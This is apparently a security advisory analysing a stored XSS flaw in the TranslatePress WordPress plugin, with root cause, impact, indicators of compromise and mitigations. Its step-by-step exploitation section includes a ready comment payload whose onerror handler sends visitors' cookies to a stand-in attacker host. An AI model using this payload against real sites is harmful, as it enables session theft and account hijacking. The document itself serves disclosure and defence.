CVE-2026-75981: 
WordPress vulnerability analysis and mitigation

CVE-2026-75981 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the TranslatePress – Translate Multilingual sites with AI Translation plugin for WordPress, affecting versions up to and including 3.2.5. The flaw was published on August 19, 2026, and stems from the plugin's unconditional rewriting of internal gettext markers into HTML angle brackets during page translation, bypassing WordPress's content sanitization. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). The translate_page() function in includes/class-translation-render.php (lines 538–539) unconditionally replaces the plain-text markers #!trpst# and #!trpen# with < and > respectively. Because these markers contain no HTML-special characters, they pass through WordPress's wp_kses sanitization unmodified. An unauthenticated attacker can embed a payload such as #!trpst#img src=x onerror=alert(1) #!trpen# in a comment; when a visitor views the post in a secondary language, the substitution produces a real <img onerror=...> tag. The plugin's remove_tags_from_output() function only strips <script> and <style> tags, leaving event-handler-bearing tags like <img> intact and executable (GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of visitors who view affected posts in a secondary language. This can lead to session cookie theft, account hijacking, unauthorized actions performed on behalf of logged-in users (including administrators), redirection to malicious sites, and defacement of page content. Because no authentication is required to submit the malicious comment, the attack surface is broad on any WordPress site with comments enabled and TranslatePress installed (GitHub Advisory).

As of the disclosure date (August 19, 2026), there is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation. The vulnerability requires no authentication and no user interaction from the attacker side (though a victim must view the post in a secondary language), making it relatively easy to weaponize once discovered. No threat actor attribution or CISA KEV catalog listing has been reported at this time (GitHub Advisory).

1. Reconnaissance: Identify WordPress sites using the TranslatePress plugin version ≤ 3.2.5 with comments enabled and at least one secondary language configured. Tools like WPScan or Shodan can assist in fingerprinting plugin versions.
2. Craft malicious comment: Compose a comment containing the TranslatePress gettext markers as a payload, e.g., #!trpst#img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie) #!trpen#. These markers are plain text and will not be stripped by wp_kses.
3. Submit comment: Post the crafted comment to any post on the target site without authentication (or with a low-privilege account if anonymous comments are disabled).
4. Wait for victim: When any visitor views the post while the site is set to display a secondary language, translate_page() rewrites the markers to < and >, converting the payload into <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>.
5. Harvest results: The onerror handler fires in the victim's browser, executing the attacker's JavaScript — stealing session cookies, performing CSRF actions, or redirecting the user (GitHub Advisory).

• Logs: WordPress comment submission logs containing the strings #!trpst# or #!trpen# in comment body fields; access logs showing repeated POST requests to wp-comments-post.php with unusual comment content.
• Database: WordPress wp_comments table entries containing #!trpst# or #!trpen# marker sequences, particularly in combination with HTML tag names (e.g., img, svg, body) and event handler attributes (e.g., onerror, onload).
• Network: Outbound requests from visitor browsers to unexpected external domains shortly after loading translated pages; browser console errors related to failed image loads (src=x) paired with network requests to attacker-controlled infrastructure.
• File System: No file-system artifacts expected for this stored XSS; however, if the XSS is used to deliver a web shell or malicious script, watch for new or modified PHP files in the WordPress installation directory (GitHub Advisory).

Site administrators should update the TranslatePress plugin to a version beyond 3.2.5 as soon as a patched release is available from the plugin vendor (Cozmoslabs). As interim mitigations: disable comments on affected posts or require comment moderation/approval before publication; implement a Content Security Policy (CSP) header that restricts inline script execution and disallows onerror-style event handlers; and audit existing comments in the database for the presence of #!trpst# or #!trpen# markers and remove any suspicious entries. Wordfence has documented this vulnerability and may provide firewall rules for users of their security plugin (GitHub Advisory).

The vulnerability was published to the GitHub Advisory Database and NVD on August 19, 2026, and was noted by automated CVE tracking services including VulDB, CVEFeed, and Radar by Offseq shortly after disclosure. Wordfence has catalogued the vulnerability in their threat intelligence database. No significant researcher commentary, vendor blog posts, or broader media coverage has been identified beyond standard CVE aggregation at this time (GitHub Advisory).